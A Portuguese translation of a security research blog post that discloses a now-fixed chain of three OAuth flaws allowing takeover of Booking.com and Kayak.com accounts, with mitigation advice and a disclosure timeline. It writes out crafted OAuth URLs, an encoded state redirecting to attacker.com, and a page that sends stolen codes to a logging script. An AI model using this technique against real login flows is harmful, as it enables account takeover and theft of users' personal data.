OAuth (Autorização Aberta) é um padrão de autorização moderno e aberto, concebido para permitir a delegação de acesso entre aplicações — por exemplo, permitindo que a sua aplicação leia dados do seu perfil do Facebook. Combinado com as extensões adequadas, o OAuth também pode ser usado para autenticação — por exemplo, para iniciar sessão na sua aplicação usando credenciais do Google.
Desde a sua primeira introdução em 2006, o OAuth ganhou uma enorme popularidade. Estudos recentes mostram que cerca de 90% dos utilizadores preferem o login social em vez do registo tradicional por e-mail em websites. Dada a ampla utilização do OAuth, quaisquer vulnerabilidades encontradas nos seus componentes ou nas suas implementações podem levar a um impacto de segurança considerável nas aplicações e serviços que os utilizam.
A apropriação de contas baseada em OAuth é um método clássico de ataque a APIs; este eBook aborda como os ataques a APIs funcionam e por que eles evitam as ferramentas tradicionais.
Esta publicação é a primeira de uma série que pretende descrever estas questões em profundidade, com ricos detalhes técnicos, e partilhar casos de uso reais que destacam estes erros e o seu potencial impacto. Para esta publicação inicial, descrevemos um problema de implementação de OAuth que os investigadores da Salt Labs conseguiram encontrar na Booking.com, uma empresa com 16 mil milhões de dólares em receita anual.
Quanto aos problemas de OAuth que encontrámos, se um agente mal-intencionado os tivesse descoberto e explorado com sucesso, esse atacante poderia ter assumido o controlo das contas dos utilizadores que iniciam sessão via Facebook. Uma vez autenticado, o atacante poderia ter realizado qualquer ação em nome dos utilizadores comprometidos e obter visibilidade total da conta, incluindo todas as informações pessoais de um utilizador. A nossa investigação descobriu que os atacantes poderiam então usar o login comprometido da booking.com para também iniciar sessão na empresa irmã Kayak.com.
Todos os problemas descritos nesta publicação foram divulgados à Booking.com, e a empresa agiu muito rapidamente para os resolver e mitigar completamente. Queremos aproveitar esta oportunidade para agradecer à Booking.com pela sua abordagem profissional e cooperação com a Salt Labs neste assunto. A Booking.com forneceu este comentário:
""Ao receber o relatório da Salt Security, as nossas equipas investigaram imediatamente as descobertas e estabeleceram que não houve comprometimento da plataforma Booking.com, e a vulnerabilidade foi rapidamente resolvida. Levamos a proteção dos dados dos clientes extremamente a sério. Não só tratamos todos os dados pessoais em conformidade com os mais altos padrões internacionais, como também estamos continuamente a inovar os nossos processos e sistemas para garantir a segurança ideal na nossa plataforma, enquanto avaliamos e aprimoramos as robustas medidas de segurança que já temos em vigor. Como parte deste compromisso, saudamos a colaboração com a comunidade global de segurança, e o nosso Programa de Recompensa por Bugs deve ser utilizado nestes casos.""
O seguinte vídeo curto oferece uma visão geral visual de como os investigadores da Salt Labs conseguiram sequestrar o processo de login OAuth.
Vamos mergulhar nos detalhes.
O que é OAuth?
OAuth 2.0 é um framework comumente usado que permite aos utilizadores autorizar aplicações de terceiros a aceder aos seus recursos sem partilhar as suas palavras-passe. Por exemplo, pode autorizar o Slack a aceder ao seu calendário do Google para que os seus colegas possam ver quando está em reuniões.
O OAuth não foi originalmente concebido para ser um framework de autenticação, mas emergiu como um mecanismo de autenticação amplamente utilizado para utilizadores com a funcionalidade de login social — a opção "entrar com Google/Facebook" que vê em sites e aplicações. Muitos websites e aplicações de e-commerce usam OAuth, por exemplo, para permitir que os utilizadores autentiquem a sua conta e façam compras sem ter de introduzir as suas credenciais várias vezes.
Você pode ter ouvido falar de “OpenID connect” para autenticação — é um conceito semelhante e baseado em OAuth.
Uma falha de segurança no OAuth pode levar a roubo de identidade, fraude financeira e acesso a todo tipo de informação pessoal, incluindo números de cartão de crédito, mensagens privadas, registos de saúde e muito mais. No ano passado, muitos blogs interessantes descreveram a apropriação de contas em fluxos de login OAuth, como “Dirty Dancing” de Frans Rosen e o blog de Youssef Sammouda, cujas descobertas lhe renderam um prémio de $44.625 do Facebook. Estes blogs e outros fornecem informações valiosas sobre o funcionamento interno do OAuth e os riscos potenciais associados a ele.
Como funciona o OAuth para autenticação?
Vamos começar com um diagrama simples e não técnico:
Vamos explicar os passos, um por um:
1. Você entra em Randomsite.com e clica em “Login with Facebook”.
2. Randomsite.com abrirá uma nova janela para o Facebook.
3. Se for a sua primeira vez em Randomsite.com, o Facebook irá pedir-lhe para dar permissão. Caso contrário, o Facebook irá autenticá-lo automaticamente.
4. Depois de clicar em “Continue as John”, o Facebook irá gerar um token secreto. Este token é privado para Randomsite.com, e associado ao seu perfil do Facebook.
5. O Facebook redireciona você de volta para Randomsite.com com este token.
6. Randomsite.com usa o token para se comunicar diretamente com o Facebook e obter seu endereço de e-mail.
7. O Facebook aprova que este é realmente john@gmail.com, e Randomsite.com pode fazer o login dele.
E agora vamos nos aprofundar em mais detalhes, adicionando URLs ao diagrama:
Nas etapas 2-3:
Depois que John clica em fazer login com o Facebook, o Randomsite.com abre uma nova janela para o seguinte endereço:
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://randomsite.com/OAuth&scope=email&client_id=1501&state=[random_value]&response_type=token.
Observe o parâmetro redirect_uri – ele informa ao Facebook para onde enviar o token nas Etapas 4-5.
Nas etapas 4-5:
O Facebook prepara um token secreto para Randomsite.com (o parâmetro client_id informa ao Facebook que a solicitação é de randomsite.com) e redireciona seu navegador de volta para redirect_uri . O redirecionamento exato:
https://randomsite.com/OAuth#token=[secret_token]]&state=[Random_Value]
Nas etapas 6-7:
Randomsite.com lê o token da URL e o usa para se comunicar diretamente com o Facebook usando a seguinte API:
https://graph.facebook.com/me?fields=id,name,email&access_token=[secret_token].
A resposta é john@gmail.com.
O fluxo no exemplo é chamado de “tipo de concessão implícita” (implicit grant type), que é comum em aplicações de página única e aplicações desktop nativas que não possuem um back-end. Embora eu pudesse usar um exemplo sem back-end (sem Randomsite.com), decidi combinar um tipo de concessão implícita com um back-end porque é mais fácil de entender.
Google, Apple e outros fornecedores conhecidos seguem um fluxo semelhante. Um método mais recente aproveita o recurso PostMessage em vez de um redirecionamento, mas não abordaremos esse caso de uso nesta publicação. Usar o redirecionamento ainda é a abordagem mais comum.
Implementação de OAuth no Booking.com
Por que Booking.com
Booking.com, parte da Booking Holdings, uma empresa da Fortune 500, é uma das plataformas de reserva de hotéis mais populares e amplamente utilizadas. A empresa tem mais de 15.000 funcionários e gera US$ 16 bilhões em receita anual.
Como um cliente satisfeito do Booking.com, usei a plataforma muitas vezes para reservar férias. Como pesquisador de segurança, quis dar uma olhada na implementação de OAuth antes que um hacker mal-intencionado o fizesse.
Como o OAuth funciona no Booking.com
O fluxo é muito semelhante ao exemplo com Randomsite.com, exceto que inclui uma nova etapa, que marcamos em vermelho:
Passo 1: Em Booking.com, você clica em “Entrar com o Facebook.”
Passos 2-3:
O Booking abre o seguinte link: https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/social/result/facebook&scope=email&client_id=210068525731476&state=[large_object]&response_type=code.
Observe que o tipo de resposta é um código em vez de um token, como vimos no exemplo de Randomsite.com.
Um código é um valor temporário que deve ser trocado por um token. Isso adiciona uma camada adicional de segurança, como explicarei nos passos 6-7.
Passos 4-5:
O Facebook autentica você e o redireciona de volta para booking.com com um código.
https://account.booking.com/social/result/facebook?code={code}&state=[large_object]
Observe que o código foi passado para account.booking.com num parâmetro de consulta (?code=) em vez de um fragmento de hash (#token=) como no exemplo de Randomsite.com. Explicaremos mais sobre este problema mais tarde.
Passos 6-7:
Para obter um token, a booking.com precisa trocar o código pelo token usando a seguinte API do Facebook:
Este passo só pode ser realizado pela Booking.com porque envolve um {app-secret} que só a Booking.com conhece. O código é de uso único – ou seja, só pode ser trocado uma vez. Esta abordagem é mais segura – se um atacante roubar o código, é quase impossível explorá-lo.
Passos 8-9:
Como vimos em Randomsite.com, a Booking.com usa a API do Facebook para obter informações sobre você, como seu endereço de e-mail. Se a Booking.com tiver uma conta que usa este e-mail, então a Booking.com faz o seu login nesta conta existente.
Este fluxo, comum em quase todos os sites modernos, é chamado de “Authorization code grant” ou “OAuth explicit flow.”
Tomada de conta na Booking.com
No OAuth, o objetivo do atacante é roubar o token ou o código da vítima. No caso da Booking, o foco é o código. Minha metodologia geral na pesquisa de OAuth é causar comportamentos inesperados no fluxo, alterando todos os parâmetros que consigo, para ver como essas manipulações me aproximam da capacidade de lançar um ataque bem-sucedido.
Consegui encadear três problemas de segurança diferentes, que explicarei em detalhes, para permitir a tomada total de conta na Booking.com.
Falha de segurança 1 — não permitir um caminho único
Ao manipular alguns dos passos na sequência OAuth para este site, consegui obter informações úteis e iniciar um caminho de manipulação.
No passo 1, alterei o redirect_uri para um caminho diferente e enviei este link para uma vítima:
Observe que não podemos alterar a origem (account.booking.com) porque o Facebook irá gerar um erro - não corresponde à origem predefinida fornecida pela Booking.com.
Quando a Booking.com se registou no Facebook, forneceu uma origem predefinida para o redirect_uri, mas não forneceu um caminho exato. Portanto, o Facebook pode validar apenas a origem antes que o redirecionamento ocorra.
Passo 4: Este link irá redirecionar a vítima para:
Podemos enviar o código para qualquer caminho que quisermos, então agora procuramos uma forma de enviar o código para outra origem/domínio que controlamos.
Falha de segurança 2 — redirecionamento aberto
Neste ponto, eu precisava de um caminho em booking.com que redirecionasse a vítima para o meu domínio controlado. Essa é a definição de uma vulnerabilidade de redirecionamento aberto.
Começo a explorar funcionalidades na Booking.com e encontro algo interessante em “Meu Painel”:
Clicar em “adicionar um nome de exibição” aponta para o seguinte URL:
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9
Esse URL redireciona automaticamente o utilizador para: https://account.booking.com/mysettings/personal. Consegue adivinhar como?
Reparo imediatamente que a state variável contém uma string JSON em base64: eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9.
Vamos decodificá-lo:
Parece que o Booking usa o mysettings_path para determinar como redirecionar o usuário.
Vamos codificar o seguinte Json:
Substituímos o estado no link original e enviamos o novo link à vítima:
O link redireciona automaticamente a vítima para um link mais curto (eu o pulei antes):
E depois para:
https://attacker.com/index.php
Você pode ter visto a palavra “OAuth” ou “redirect_uri” no link de redirecionamento aberto. Presumo que seja uma implementação interna de OAuth no Booking.com. Não está relacionado ao Facebook nem ao redirect_uri da falha de segurança 1.
Agora temos uma falha de redirecionamento aberto em booking.com.
Falha de segurança 1 + 2 = Tentativa de Tomada de Conta
O link para o Facebook da falha de segurança 1 (onde podemos enviar o código para qualquer caminho que quisermos):
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/qualquer/caminho/que/quisermos&scope=email&client_id=210068525731476&state=large_object]&response_type=code
+
O link de redirecionamento aberto da falha de segurança 2 (redirecionamento para www.attacker.com) é:
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ
=
Vamos inserir o link de redirecionamento aberto no redirect_uri da falha de segurança 1:
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=code&client_id=210068525731476
Enviamos este link para a vítima.
Alterando o tipo de resposta
Se a vítima clicar no link como está, o Facebook redireciona o utilizador para o URL da falha de segurança 2, com um código:
É o URL com o redirecionamento aberto (o estado eyJteXN… aponta para attacker.com), então o Booking redireciona a vítima para: https://attacker.com/index.php.
No entanto, num redirecionamento, apenas os valores após ‘#’ (fragmentos de hash) são passados pelo navegador. O código, que foi passado num parâmetro de consulta (?=code=), não foi enviado para attacker.com (não aparece no redirecionamento para https://attacker.com/index.php).
Ao alterar o tipo de resposta de “code” para “code, token”. O Facebook enviará tanto o código quanto o token no fragmento de hash. É uma funcionalidade :)
A razão: como um token de acesso é um valor super sensível no OAuth, usar o fragmento de hash é uma abordagem mais segura. Ele não é enviado para o lado do servidor e não aparece nos registos – apenas o código javascript pode lê-lo. (Para mais informações sobre este detalhe, pode pesquisar no Google por “OAuth implicit grant”.)
Resumo do fluxo:
Passo 1: O atacante envia à vítima o seguinte link:
Passos 2 e 3: Depois que a vítima clica no novo link (com response type=code,token), o Facebook automaticamente redireciona o usuário para o URL da falha de segurança 2 com um código no fragmento de hash:
Passos 4 e 5: É o URL com o redirecionamento aberto (o estado aponta para attacker.com), então o Booking redireciona a vítima para: https://attacker.com/index.php
Passo 6: O navegador adiciona o código ao fragmento de hash e redireciona a vítima para:
Opcional: Vejamos o código-fonte de attacker.com/index.php:
Index.php — um código javascript que lê o URL e o envia para save.php.
Save.php — salva as entradas em um arquivo de log.
(Gerei o código com sanppify.com)
Tentativa de tomada de conta 1
Neste ponto, temos o código da vítima. Nós (como atacantes) precisamos iniciar um novo fluxo de login e substituir nosso código pelo código da vítima. Clicamos novamente em "entrar com o Facebook" e fazemos login usando nossa conta.
No fluxo normal, depois que o Facebook nos autentica, ele nos redireciona para o Booking com nosso código:
Interceptamos esta requisição. Substituímos o código pelo código roubado da vítima:
O Booking.com deveria trocar o código por um token e obter as informações de perfil da vítima.
O que retorna? Aguardem…
“Código inválido”
Nada acontece. O que eu perdi?
Depurando a falha na tomada de controle da conta — o que perdemos?
De acordo com a documentação do Facebook, para trocar o código por um token, o Booking.com, no back-end, deve usar esta API:
Na documentação, o Facebook escreveu “Este argumento (redirect_uri) deve ser o mesmo que o original que você usou ao iniciar o processo de login OAuth”.
Iniciamos o processo de login OAuth com este link:
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=token,code&client_id=210068525731476
Neste caso, o original redirect_uri está marcado em roxo. Este link é o link de redirecionamento aberto da falha de segurança 2.
No entanto, no back-end, quando o Booking troca o código por um token usando a /oauth/access_token API, ele envia ao Facebook o valor codificado “https://account.booking.com/social/result/facebook” como o redirect_uri. Este é o redirect_uri que o Booking usa no fluxo normal.
No mesmo fluxo OAuth, o Facebook recebeu dois redirect_uri diferentes, ficou desconfiado e, portanto, gerou um erro.
Encontrando a falha de segurança 3
Neste ponto, não consegui encontrar uma solução na web, então decidi fazer uma pesquisa no aplicativo móvel do Booking.com. Usei o Android Studio, o Frida (para contornar o SSL pinning) e um descompilador para ler o código responsável pelo OAuth nesse aplicativo.
Para interceptar a requisição entre o aplicativo móvel e o backend do Booking.com, usei o Burp.
O diagrama de trocas no aplicativo móvel é um pouco confuso – você pode focar apenas na Etapa 6:
O fluxo OAuth no aplicativo móvel tem uma principal diferença em relação ao fluxo no site – a Etapa 6.
Etapas 3 a 6: O código foi passado para o aplicativo móvel, e então o aplicativo móvel o enviou para o Booking.com. Para ser mais preciso, o código foi passado para Chrome->Booking.com->MobileApp->Booking.com
Não tenho certeza por que esse pingue-pongue é necessário.
Etapa 6: O aplicativo móvel passa o código para o Booking.com usando uma requisição POST:
Preste atenção no resultUri. Você consegue adivinhar o que o Booking faz com ele?
Se o Booking.com usar o resultURi como o redirect_uri para trocar o código pelo token, e pudermos controlar esse valor, então poderemos contornar a validação do Facebook.
O redirect_uri original que usamos para o ataque é:
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ
Para resumir, como o atacante, precisamos:
- Fazer login no Booking.com, a partir do aplicativo móvel do atacante, com a conta do atacante.
- Interceptar a requisição na Etapa 6.
- Substituir nosso código pelo código roubado da vítima.
- Substitua resultURi, pelo link que usamos para o ataque (booking.com/state=eyJteXn..)
Enviamos essa requisição para o Booking.com, e… Fim de jogo. Podemos fazer login na conta da vítima.
(No vídeo, o atacante usa Mac para o ataque, a vítima usa Windows.)
(Nota: Na falha de segurança 2, eu tinha dois links que causavam um redirecionamento. No vídeo, usei o link mais curto.)
O que vem a seguir?
Criamos um link que permite assumir o controle de qualquer conta no Booking.com que use o Facebook. O próprio link aponta para um domínio legítimo facebook.com ou booking.com domínio, o que o torna difícil de detectar (manual ou automaticamente). O próximo passo é verificar o impacto em outros sites do Booking, como Kayak.com, e em outros métodos de login, como o Google.
Tomada de conta no Kayak.com
É um recurso. Se tivermos acesso à conta da vítima no Booking.com, também devemos ter acesso ao Kayak.com, que permite aos usuários se identificarem usando sua conta do Booking.com. Testamos essa teoria, e funcionou.
Login com o Google
A vulnerabilidade está na integração entre o Facebook e o Booking.com. No entanto, é possível fazer login em uma conta do Booking.com usando o Facebook, mesmo que essa conta tenha sido criada usando o Google ou outro método de login.
Para verificar, enviamos um link para um usuário que estava autenticado com o Google. Durante o exploit, o Facebook pediu (de forma muito legítima, a vítima não tem motivos para suspeitar) para permitir o acesso ao Booking.com, e então o código foi passado para o nosso domínio. Como o código da vítima está associado ao endereço de e-mail da vítima, o Booking.com lê o endereço de e-mail do código (/token) e conecta o usuário à conta relevante que possui este e-mail.
Impacto Potencial nos Negócios
Essa má configuração do OAuth tem um impacto significativo tanto na empresa quanto em seus clientes. Um atacante poderia potencialmente fazer requisições não autorizadas em nome de uma vítima, cancelar reservas existentes, ou acessar informações pessoais sensíveis, como histórico de reservas, preferências pessoais e reservas futuras. O site também oferece suporte à capacidade de alugar carros ou pedir táxis.
Como mitigar esta ameaça:
A vulnerabilidade descrita neste documento é uma combinação de três pequenas falhas de segurança. A maior parte do foco está na primeira falha de segurança, que permite ao atacante escolher outro caminho para o redirect_uri.
Ao fazer uma integração com o Facebook ou outro fornecedor, é extremamente importante fornecer caminhos codificados para o redirect_uri na configuração do Facebook. Como visto no documento, apenas a origem não é suficiente.
A Falha de Segurança 3 também está relacionada ao redirect_uri. Este valor não deve ser obtido da entrada do usuário.
Booking.com — Uma Correção Rápida
Vulnerabilidades de segurança podem ocorrer em qualquer site, e a resposta é o que importa. Reportamos tudo ao Booking.com, e a equipe conseguiu corrigir essas falhas de segurança muito rapidamente. Ficamos satisfeitos com o compromisso do Booking.com com a segurança e a disposição da empresa em tomar medidas rápidas para proteger as informações pessoais de seus usuários. Ao corrigir o problema, o Booking.com pode ter evitado uma violação de segurança nas mãos de hackers mal-intencionados.
Para saber mais sobre como a Salt pode ajudar a defender sua organização contra riscos de API, você pode entrar em contato com um representante ou agendar uma demonstração personalizada.
Cronograma de Divulgação
Seguimos o seguinte cronograma neste processo de divulgação coordenada. Mais uma vez, agradecemos ao Booking.com por agir tão rapidamente para resolver essas vulnerabilidades críticas.
- A Salt Labs descobre as falhas de segurança 1# e 2#: 10 de novembro de 2022
- A Salt Labs descobre todas as falhas de segurança com a tomada de conta: 21 de novembro de 2022
- A Salt Labs faz o primeiro contato com o Booking.com: 27 de novembro de 2022
- A Salt Labs divulga detalhes técnicos à equipe de segurança do Booking.com: 4 de dezembro de 2022
- A Salt Labs confirma que os exploits não estão mais funcionando e que as falhas de segurança foram resolvidas: 26 de dezembro de 2022
- A equipe de segurança da Booking.com confirma a divulgação da falha de segurança, que a equipe corrigiu os problemas e que a equipe validou que os problemas foram devidamente corrigidos: 12 de janeiro de 2023
- A equipe de marketing da Salt Security compartilha comunicado de imprensa e artigo de blog com a equipe de mídia da Booking.com: 19 de fevereiro de 2023
- A Booking.com envia comentário formal para ser incluído no blog de pesquisa de vulnerabilidades: 24 de fevereiro de 2023